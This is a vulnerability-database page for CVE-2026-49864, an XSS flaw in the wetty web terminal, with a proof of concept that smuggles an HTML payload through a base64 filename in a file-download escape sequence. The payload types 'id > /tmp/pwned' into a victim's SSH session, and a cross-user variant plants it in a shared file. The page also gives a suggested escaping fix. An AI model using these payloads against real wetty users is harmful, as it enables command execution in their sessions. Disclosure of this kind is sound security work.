Skip to main content

wetty CVE-2026-49864

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 https://github.com/butlerx/wetty GHSA-p26j-h7wj-r568
Share

Severity by source

vuln.today AI
9.3 CRITICAL

Payload arrives over network in rendered output (AV:N) but the victim must display it (UI:R); no wetty auth needed (PR:N); XSS escapes the web origin into the SSH session (S:C) giving terminal read (C:H) and keystroke injection (I:H).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 18:50 vuln.today

DescriptionCVE.org

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

typescript
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

typescript
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:
bash
   git clone https://github.com/butlerx/wetty
   cd wetty
   docker compose up -d
   sleep 5
  1. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
bash
   PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
   FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
   DATA_B64=$(printf 'bait' | base64 -w0)
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  1. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:
bash
   cat /tmp/pwned

Expected: uid=1000(term) gid=1000(term) groups=1000(term).

  1. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
bash
# As the low-priv user on the SSH host
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

  • Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
  • Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
  • Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

> _This has not been tested - it is illustrative only._

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

diff
   fileName ??= `file-${new Date()
     .toISOString()
     .split('.')[0]
     .replace(/-/g, '')
     .replace('T', '')
     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+  const safeName = fileName.replace(/[&<>"']/g, (c) =>
+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
+  );

   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
   const blobUrl = URL.createObjectURL(blob);

   Toastify({
-    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
     duration: 10000,

AnalysisAI

Cross-site scripting in the wetty web-terminal client (npm package wetty, default configuration) lets any writer of content a victim renders inject keystrokes into that victim's live SSH session. The client base64-decodes an attacker-controlled filename from the documented file-download escape sequence (\x1b[5i<name>:<content>\x1b[4i) and interpolates it raw into a Toastify toast with escapeMarkup:false, so script runs in the wetty origin and can call window.wetty_term.input() to type commands and read the terminal buffer. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Write escape sequence into victim-readable file
Delivery
Victim renders content in wetty (cat/log/MOTD)
Exploit
Toastify parses filename as raw HTML
Execution
img onerror runs script in wetty origin
Persist
wetty_term.input() types commands into PTY
Impact
Attacker commands execute as victim SSH user

Vulnerability AssessmentAI

Exploitation Concrete prerequisites: (1) the victim has wetty open in a browser with an active SSH session; (2) the attacker can get the exact file-download escape sequence `\x1b[5i<base64-filename>:<base64-content>\x1b[4i` into any output the victim's terminal renders - a cat'd file, a tailed log, an SSH MOTD/banner, or a curl/HTTP response body; and (3) the base64 'filename' half carries an HTML/JavaScript payload. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No CVSS score or vector was provided by any source, so quantitative severity is unconfirmed; likewise no EPSS score and no CISA KEV listing are available. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario On a shared SSH host reached through wetty, a low-privileged user writes a file (e.g. /tmp/notes.txt) containing `\x1b[5i<b64 HTML payload>:<b64 content>\x1b[4i`, where the filename payload is an `<img src=x onerror=...>` that calls `window.wetty_term.input("id > /tmp/pwned\n",true)`. …
Remediation No vendor-released patch version is identified in the available data; the advisory (https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568) provides an illustrative, explicitly untested fix rather than a confirmed release, so treat this as 'no vendor-released patched version independently confirmed' and check the advisory for an updated fixed release before relying on an upgrade. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all systems running wetty and assess production criticality; disable non-critical instances. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-49864 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy